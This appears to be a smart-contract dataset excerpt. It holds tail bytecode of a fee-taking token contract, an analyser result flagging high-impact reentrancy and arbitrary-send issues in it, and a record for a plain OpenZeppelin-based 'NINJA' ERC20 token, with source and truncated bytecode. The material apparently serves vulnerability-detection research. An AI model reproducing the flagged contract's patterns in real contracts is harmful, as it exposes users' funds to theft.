16565b61217590919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610cd59190613046565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d6f6113c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df390612f66565b60405180910390fd5b601060149054906101000a900460ff1615610e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4390613006565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610edd30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166901696695dbd1a46e24006113cd565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2357600080fd5b505afa158015610f37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5b91906128ce565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fbd57600080fd5b505afa158015610fd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff591906128ce565b6040518363ffffffff1660e01b8152600401611012929190612d96565b602060405180830381600087803b15801561102c57600080fd5b505af1158015611040573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106491906128ce565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ed30610786565b6000806110f8610934565b426040518863ffffffff1660e01b815260040161111a96959493929190612de8565b6060604051808303818588803b15801561113357600080fd5b505af1158015611147573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061116c9190612a39565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550681b1ae4d6e2ef500000601181905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611254929190612dbf565b602060405180830381600087803b15801561126e57600080fd5b505af1158015611282573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a691906129e7565b5050565b6112b26113c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133690612f66565b60405180910390fd5b60008111611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990612f06565b60405180910390fd5b806011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516113ba9190613046565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490612fc6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a490612ec6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161158b9190613046565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611608576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ff90612fa6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166f90612e86565b60405180910390fd5b600081116116bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b290612f86565b60405180910390fd5b6116c3610934565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117315750611701610934565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b705760115481111561177b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177290612fe6565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118265750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561187c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118945750601060169054906101000a900460ff165b156119ba57601060149054906101000a900460ff166118e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118df90613026565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196090612f26565b60405180910390fd5b600142611976919061312b565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119c530610786565b9050601060159054906101000a900460ff16158015611a325750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4a5750601060149054906101000a900460ff165b15611b6e5767016345785d8a0000821115611a6457600080fd5b601060179054906101000a900460ff1615611b4b5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af190612f26565b60405180910390fd5b605a42611b07919061312b565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e64565b60405180910390fd5b5060008385611c8a919061320c565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600754821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612ea6565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa491906128ce565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113cd565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a9959493929190613061565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b91906131b2565b905082848261212a9190613181565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612f46565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122bd565b806121e6576121e5612488565b5b50505050565b60008060006121f961249c565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612e64565b60405180910390fd5b506000838561226d9190613181565b9050809150509392505050565b600060095414801561228e57506000600a54145b15612298576122bb565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b6000806000806000806122cf87612501565b95509550955095509550955061232d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061240e81612611565b61241884836126ce565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124759190613046565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b6000806000600754905060006901696695dbd1a46e240090506124d46901696695dbd1a46e240060075461217590919063ffffffff16565b8210156124f4576007546901696695dbd1a46e24009350935050506124fd565b81819350935050505b9091565b600080600080600080600080600061251e8a600954600a54612708565b925092509250600061252e6121ec565b905060008060006125418e87878761279e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125c2919061312b565b905083811015612607576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fe90612ee6565b60405180910390fd5b8091505092915050565b600061261b6121ec565b9050600061263282846120fa90919063ffffffff16565b905061268681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126e38260075461256990919063ffffffff16565b6007819055506126fe816008546125b390919063ffffffff16565b6008819055505050565b6000806000806127346064612726888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061275e6064612750888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061278782612779858c61256990919063ffffffff16565b61256990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b785896120fa90919063ffffffff16565b905060006127ce86896120fa90919063ffffffff16565b905060006127e587896120fa90919063ffffffff16565b9050600061280e82612800858761256990919063ffffffff16565b61256990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612836816136b7565b92915050565b60008151905061284b816136b7565b92915050565b600081359050612860816136ce565b92915050565b600081519050612875816136ce565b92915050565b60008135905061288a816136e5565b92915050565b60008151905061289f816136e5565b92915050565b6000602082840312156128b757600080fd5b60006128c584828501612827565b91505092915050565b6000602082840312156128e057600080fd5b60006128ee8482850161283c565b91505092915050565b6000806040838503121561290a57600080fd5b600061291885828601612827565b925050602061292985828601612827565b9150509250929050565b60008060006060848603121561294857600080fd5b600061295686828701612827565b935050602061296786828701612827565b92505060406129788682870161287b565b9150509250925092565b6000806040838503121561299557600080fd5b60006129a385828601612827565b92505060206129b48582860161287b565b9150509250929050565b6000602082840312156129d057600080fd5b60006129de84828501612851565b91505092915050565b6000602082840312156129f957600080fd5b6000612a0784828501612866565b91505092915050565b600060208284031215612a2257600080fd5b6000612a308482850161287b565b91505092915050565b600080600060608486031215612a4e57600080fd5b6000612a5c86828701612890565b9350506020612a6d86828701612890565b9250506040612a7e86828701612890565b9150509250925092565b6000612a948383612aa0565b60208301905092915050565b612aa981613240565b82525050565b612ab881613240565b82525050565b6000612ac9826130e6565b612ad38185613109565b9350612ade836130d6565b8060005b83811015612b0f578151612af68882612a88565b9750612b01836130fc565b925050600181019050612ae2565b5085935050505092915050565b612b2581613252565b82525050565b612b3481613295565b82525050565b6000612b45826130f1565b612b4f818561311a565b9350612b5f8185602086016132a7565b612b6881613338565b840191505092915050565b6000612b8060238361311a565b9150612b8b82613349565b604082019050919050565b6000612ba3602a8361311a565b9150612bae82613398565b604082019050919050565b6000612bc660228361311a565b9150612bd1826133e7565b604082019050919050565b6000612be9601b8361311a565b9150612bf482613436565b602082019050919050565b6000612c0c601d8361311a565b9150612c178261345f565b602082019050919050565b6000612c2f602a8361311a565b9150612c3a82613488565b604082019050919050565b6000612c5260218361311a565b9150612c5d826134d7565b604082019050919050565b6000612c7560208361311a565b9150612c8082613526565b602082019050919050565b6000612c9860298361311a565b9150612ca38261354f565b604082019050919050565b6000612cbb60258361311a565b9150612cc68261359e565b604082019050919050565b6000612cde60248361311a565b9150612ce9826135ed565b604082019050919050565b6000612d0160108361311a565b9150612d0c8261363c565b602082019050919050565b6000612d2460178361311a565b9150612d2f82613665565b602082019050919050565b6000612d4760188361311a565b9150612d528261368e565b602082019050919050565b612d668161327e565b82525050565b612d7581613288565b82525050565b6000602082019050612d906000830184612aaf565b92915050565b6000604082019050612dab6000830185612aaf565b612db86020830184612aaf565b9392505050565b6000604082019050612dd46000830185612aaf565b612de16020830184612d5d565b9392505050565b600060c082019050612dfd6000830189612aaf565b612e0a6020830188612d5d565b612e176040830187612b2b565b612e246060830186612b2b565b612e316080830185612aaf565b612e3e60a0830184612d5d565b979650505050505050565b6000602082019050612e5e6000830184612b1c565b92915050565b60006020820190508181036000830152612e7e8184612b3a565b905092915050565b60006020820190508181036000830152612e9f81612b73565b9050919050565b60006020820190508181036000830152612ebf81612b96565b9050919050565b60006020820190508181036000830152612edf81612bb9565b9050919050565b60006020820190508181036000830152612eff81612bdc565b9050919050565b60006020820190508181036000830152612f1f81612bff565b9050919050565b60006020820190508181036000830152612f3f81612c22565b9050919050565b60006020820190508181036000830152612f5f81612c45565b9050919050565b60006020820190508181036000830152612f7f81612c68565b9050919050565b60006020820190508181036000830152612f9f81612c8b565b9050919050565b60006020820190508181036000830152612fbf81612cae565b9050919050565b60006020820190508181036000830152612fdf81612cd1565b9050919050565b60006020820190508181036000830152612fff81612cf4565b9050919050565b6000602082019050818103600083015261301f81612d17565b9050919050565b6000602082019050818103600083015261303f81612d3a565b9050919050565b600060208201905061305b6000830184612d5d565b92915050565b600060a0820190506130766000830188612d5d565b6130836020830187612b2b565b81810360408301526130958186612abe565b90506130a46060830185612aaf565b6130b16080830184612d5d565b9695505050505050565b60006020820190506130d06000830184612d6c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131368261327e565b91506131418361327e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613176576131756132da565b5b828201905092915050565b600061318c8261327e565b91506131978361327e565b9250826131a7576131a6613309565b5b828204905092915050565b60006131bd8261327e565b91506131c88361327e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613201576132006132da565b5b828202905092915050565b60006132178261327e565b91506132228361327e565b925082821015613235576132346132da565b5b828203905092915050565b600061324b8261325e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a08261327e565b9050919050565b60005b838110156132c55780820151818401526020810190506132aa565b838111156132d4576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f596f7572207472616e73616374696f6e20636f6f6c646f776e20686173206e6f60008201527f7420657870697265642e00000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546f6f206d616e7920746f6b656e732e00000000000000000000000000000000600082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6136c081613240565b81146136cb57600080fd5b50565b6136d781613252565b81146136e257600080fd5b50565b6136ee8161327e565b81146136f957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba2a20a12d31ecada4c177cf00329ba3f3c11372a3214b2058cfc51a95d808a364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,384
0xf66493f8a7c25b272c6d56ae8f55f0b7668b10a7
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/NINJA.sol contract NINJA is ERC20 { constructor() ERC20("NINJA", "NINJA") { _mint(_msgSender(), 1000000000 * 10**decimals()); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d25